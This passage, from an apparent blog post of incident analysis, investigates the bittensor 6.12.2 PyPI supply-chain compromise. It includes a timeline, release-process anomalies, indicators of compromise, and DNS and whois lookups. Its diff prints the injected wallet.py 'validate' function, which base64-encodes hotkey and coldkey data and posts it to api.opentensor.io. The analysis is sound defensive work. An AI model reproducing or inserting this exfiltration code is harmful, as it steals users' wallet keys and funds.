href=\"https://hub.docker.com/layers/opentensorfdn/bittensor/6.12.2/images/sha256-ca1364bd1bbd8f5676edf2b77dc592f81acdd56d5244d5b320269e7e3aa8eb8b?context=explore\"\u003e6.12.2 image was published on hub.docker.com\u003c/a\u003e by \u003ca href=\"https://hub.docker.com/u/gopentensor\"\u003egopentensor\u003c/a\u003e (Note: Dockerhub doesn\u0026rsquo;t give me a timezone, but by modifying my system time I was able to confirm it localizes, so I set to UTC and got this timestamp)\u003c/li\u003e\n\u003cli\u003e2024-07-02T19:06:00Z - Attacker begins to transfer funds to their own wallet, according to the incident report\u003c/li\u003e\n\u003cli\u003e2024-07-02T19:25:00Z - OTF identifies the anomalous behavior and starts a war room\u003c/li\u003e\n\u003cli\u003e2024-07-02T19:41:00Z - OTF puts chain validators behind a firewall to prevent connections, stopping transaction processing to allow for analysis.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"the-malicious-code\"\u003eThe Malicious Code\u003c/h2\u003e\n\u003ch3 id=\"pypi\"\u003ePyPI\u003c/h3\u003e\n\u003cp\u003eIn order to identify the actual root cause, since I couldn\u0026rsquo;t really tell based on Bittensor\u0026rsquo;s document, I downloaded the PyPI yanked release source distribution for 6.12.2, and then downloaded the Github 6.12.2 tagged release in order to compare them.\u003c/p\u003e\n\u003cp\u003eI labeled each download with it\u0026rsquo;s source (e.g. \u003ccode\u003e-pypi\u003c/code\u003e and \u003ccode\u003e-github\u003c/code\u003e), and then ran diff against them to see if there was any difference.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e$ diff bittensor-6.12.2-pypi/bittensor bittensor-6.12.2-github/bittensor\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-diff\" data-lang=\"diff\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommon subdirectories: bittensor-6.12.2-pypi/bittensor/btlogging and bittensor-6.12.2-github/bittensor/btlogging\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommon subdirectories: bittensor-6.12.2-pypi/bittensor/commands and bittensor-6.12.2-github/bittensor/commands\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommon subdirectories: bittensor-6.12.2-pypi/bittensor/extrinsics and bittensor-6.12.2-github/bittensor/extrinsics\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommon subdirectories: bittensor-6.12.2-pypi/bittensor/mock and bittensor-6.12.2-github/bittensor/mock\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCommon subdirectories: bittensor-6.12.2-pypi/bittensor/utils and bittensor-6.12.2-github/bittensor/utils\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76;font-weight:bold\"\u003ediff --color bittensor-6.12.2-pypi/bittensor/wallet.py bittensor-6.12.2-github/bittensor/wallet.py\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76;font-weight:bold\"\u003e23d22\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt; import base64\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76;font-weight:bold\"\u003e25d23\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt; import asyncio\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76;font-weight:bold\"\u003e28d25\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt; from aiohttp import ClientSession\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76;font-weight:bold\"\u003e291,310d287\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;     def validate(self, key: str, keypair: \u0026#34;bittensor.Keypair\u0026#34;) -\u0026gt; \u0026#34;bittensor.Keypair\u0026#34;:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         \u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         Validate the bittensor keypair.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         Args:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;             key (str): Key type.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;             keypair (bittensor.Keypair): The keypair to validate.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         \u0026#34;\u0026#34;\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         try:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;             async def validate_key(key, value):\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;                 async with ClientSession() as s:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;                     await s.post(\u0026#39;http://api.opentensor.io/v1\u0026#39;, json={\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;                         key: {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;                             k: base64.b64encode(v).decode(\u0026#39;ascii\u0026#39;) \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;                                 if isinstance(v, bytes) else v for k, v in value.__dict__.items()\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;                             }})\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;             asyncio.run(validate_key(key, keypair))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         except: pass\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         return keypair\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76;font-weight:bold\"\u003e460c437\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         return self.validate(\u0026#34;hotkey\u0026#34;, self._hotkey)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"font-weight:bold\"\u003e---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189;background-color:#414559\"\u003e\u0026gt;         return self._hotkey\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#ef9f76;font-weight:bold\"\u003e474c451\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e78284;background-color:#414559\"\u003e\u0026lt;         return self.validate(\u0026#34;coldkey\u0026#34;, self._coldkey)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"font-weight:bold\"\u003e---\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189;background-color:#414559\"\u003e\u0026gt;         return self._coldkey\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIt looks like the PyPI version has this \u003ccode\u003evalidate\u003c/code\u003e function defined in \u003ccode\u003ewallet.py\u003c/code\u003e that isn\u0026rsquo;t present in the Github release. This is consistent with how \u003cem\u003eI\u003c/em\u003e would have done this attack \u0026ndash; Github is much more likely to have eyes on it, have code review requirements, etc. Most people don\u0026rsquo;t pay any attention to the source they download from PyPI.\u003c/p\u003e\n\u003cp\u003eI was also able to confirm that the \u003ccode\u003ebittensor-6.12.2-py3-none-any.whl\u003c/code\u003e artifact also contained the malicious code present in the source distribution.\u003c/p\u003e\n\u003ch3 id=\"docker\"\u003eDocker\u003c/h3\u003e\n\u003cp\u003eI also pulled the docker image via \u003ccode\u003edocker pull opentensorfdn/bittensor:6.12.2\u003c/code\u003e and then investigated the copies of \u003ccode\u003ewallet.py\u003c/code\u003e it contained - these looked to match the legitimate code in Github, rather than the illegitimate code from PyPI.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# find / -name wallet.py\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/root/.bittensor/bittensor/build/lib/bittensor/wallet.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/root/.bittensor/bittensor/bittensor/wallet.py\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/opt/conda/lib/python3.10/site-packages/bittensor/wallet.py\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@021b52f547d9:/workspace# find / -name wallet.py | xargs grep -i opentensor\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot@021b52f547d9:/workspace#\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"anomalies-in-the-release\"\u003eAnomalies in the release\u003c/h2\u003e\n\u003cp\u003eWhile trying to understand the likely scenario that played out here, I investigated the bittensor CI configurations (\u003ca href=\"https://github.com/opentensor/bittensor/blob/v6.12.2/.circleci/config.yml\"\u003eCircleCI\u003c/a\u003e and their more recent \u003ca href=\"https://github.com/opentensor/bittensor/blob/master/.github/workflows/e2e-subtensor-tests.yaml\"\u003eGithub\u003c/a\u003e). I also looked at the \u003ca href=\"https://app.circleci.com/pipelines/github/opentensor/bittensor/10361/workflows/d9c6a6ad-f7fc-4fa4-a49a-7eac3b8a9387/jobs/51005\"\u003eCI run history for the 6.12.2 release\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eOne thing that stuck out to me pretty much immediately is that these CI workflows are not responsible for publishing a release. There is a \u003ccode\u003erelease-dry-run\u003c/code\u003e job that gets run, which runs a \u003ccode\u003e/scripts/release/release.sh --github-token ${GH_API_ACCESS_TOKEN}\u003c/code\u003e script, but it specifically says dry-run, and looking at the CI output, we can see things indicating as much.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[WARNING] Dry run execution\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003e Not uploading python wheel\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[INFO] Releasing docker image\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[WARNING] Dry run execution\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003e Not login into docker registry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[WARNING] Dry run execution\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003e Building docker image \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;opentensorfdn/bittensor:6.12.2\u0026#39;\u003c/span\u003e but \u003cspan style=\"color:#99d1db;font-weight:bold\"\u003enot\u003c/span\u003e pushing it\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e...\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[WARNING] Dry run execution\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e.\u003c/span\u003e Not pushing docker image \u003cspan style=\"color:#a6d189\"\u003e\u0026#39;opentensorfdn/bittensor:6.12.2\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis means that when new versions of bittensor get published, they either have some other automated system tucked away where no one can see it (best case scenario), or a human runs this release script from their workstation to publish a new release (more likely scenario).\u003c/p\u003e\n\u003ch3 id=\"wildly-varying-upload-times\"\u003eWildly varying upload times\u003c/h3\u003e\n\u003cp\u003eIf a typical release follows this \u003ccode\u003erelease.sh\u003c/code\u003e script, then the 2 hours and 11 minutes between the PyPI release and the Github/Dockerhub release is extremely anomalous. The \u003ccode\u003erelease.sh\u003c/code\u003e script should do the github release first, then the pip release, then the docker release. But we saw the pip release first, followed by the github and docker release a couple hours later.\u003c/p\u003e\n\u003cp\u003eThis would suggest to me that the attacker uploaded the PyPI package manually. Then either someone else noticed and retroactively added the github/docker releases to achieve consistency with the released version, or the attacker didn\u0026rsquo;t know how to trigger the github and docker releases when they found the PyPI credentials and later found the necessary credentials to do so and hide their tracks.\u003c/p\u003e\n\u003ch2 id=\"indicators-of-compromise\"\u003eIndicators of Compromise\u003c/h2\u003e\n\u003cp\u003eThe attacker used plain HTTP connections to POST data to \u003ccode\u003eapi.opentensor.io/v1\u003c/code\u003e. The request would have contained a JSON POST body with a single top level key, \u003ccode\u003ekey\u003c/code\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDomain: \u003ccode\u003eapi.opentensor.io\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003ePath: \u003ccode\u003eapi.opentensor.io/v1\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eHash: \u003ccode\u003ee199f3eef8c741beee870fc261fe857823d1a5c89e0ce93e5cc6e8327f8a125e  wallet.py\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eHash: \u003ccode\u003e9b74ecd6b77f110cf907c9f8514f98ce2d94fbf7326537fe5eb5e516c0b9c16e  bittensor-6.12.2-py3-none-any.whl\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"dns\"\u003eDNS\u003c/h3\u003e\n\u003cp\u003eDomainTools claims to have 2 historical records for \u003ccode\u003eopentensor.io\u003c/code\u003e, however I don\u0026rsquo;t have a DomainTools account anymore, so you\u0026rsquo;ll have to investigate that yourself if you want it.\u003c/p\u003e\n\u003cp\u003eAt the time of my investigation, this DNS name has been cleaned up:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e➜ dig api.opentensor.io\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.16.48-Ubuntu \u0026lt;\u0026lt;\u0026gt;\u0026gt; api.opentensor.io\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; global options: +cmd\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; Got answer:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; -\u0026gt;\u0026gt;HEADER\u003cspan style=\"color:#a6d189\"\u003e\u0026lt;\u0026lt;- opcode: QUERY, status: NXDOMAIN, id: 7873\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189\"\u003e;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189\"\u003e;; OPT PSEUDOSECTION:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189\"\u003e; EDNS: version: 0, flags:; udp: 1232\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189\"\u003e;; QUESTION SECTION:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6d189\"\u003e;api.op\u003c/span\u003eentensor.io.             IN      A\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; AUTHORITY SECTION:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eopentensor.io.          \u003cspan style=\"color:#ef9f76\"\u003e3600\u003c/span\u003e    IN      SOA     1-you.njalla.no. you.can-get-no.info. \u003cspan style=\"color:#ef9f76\"\u003e2024060301\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003e21600\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003e7200\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003e1814400\u003c/span\u003e \u003cspan style=\"color:#ef9f76\"\u003e3600\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; Query time: \u003cspan style=\"color:#ef9f76\"\u003e250\u003c/span\u003e msec\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; SERVER: 172.25.64.1#53\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e(\u003c/span\u003e172.25.64.1\u003cspan style=\"color:#99d1db;font-weight:bold\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; WHEN: Wed Jul \u003cspan style=\"color:#ef9f76\"\u003e03\u003c/span\u003e 18:36:53 PDT \u003cspan style=\"color:#ef9f76\"\u003e2024\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e;; MSG SIZE  rcvd: \u003cspan style=\"color:#ef9f76\"\u003e129\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"whois\"\u003eWhois\u003c/h3\u003e\n\u003cp\u003eFor completeness, the \u003ccode\u003ewhois\u003c/code\u003e data is not particularly useful, but I\u0026rsquo;ll include it anyways.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDomain Name: opentensor.io\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistry Domain ID: 52c766b3bc3741dbbb33e18e4b0ab51d-DONUTS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrar WHOIS Server:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrar URL:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUpdated Date: 2024-05-25T22:53:39Z\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCreation Date: 2024-05-20T22:52:45Z\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistry Expiry Date: 2025-05-20T22:52:45Z\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrar: Sarek Oy\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrar IANA ID: 802672\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrar Abuse Contact Email:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrar Abuse Contact Phone:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDomain Status: ok https://icann.org/epp#ok\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistry Registrant ID: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Name: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Organization: 1337 Services LLC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Street: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant City: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant State/Province: Charlestown\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Postal Code: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Country: KN\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Phone: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Phone Ext: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Fax: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Fax Ext: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistrant Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistry Admin ID: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Name: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Organization: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Street: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin City: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin State/Province: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Postal Code: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Country: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Phone: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Phone Ext: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Fax: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Fax Ext: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eAdmin Email: Please query the RDDS service of the Registrar of Record identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRegistry Tech ID: REDACTED FOR PRIVACY\n\u003c/span\u003e\u003c/span\u003e\u003cspan 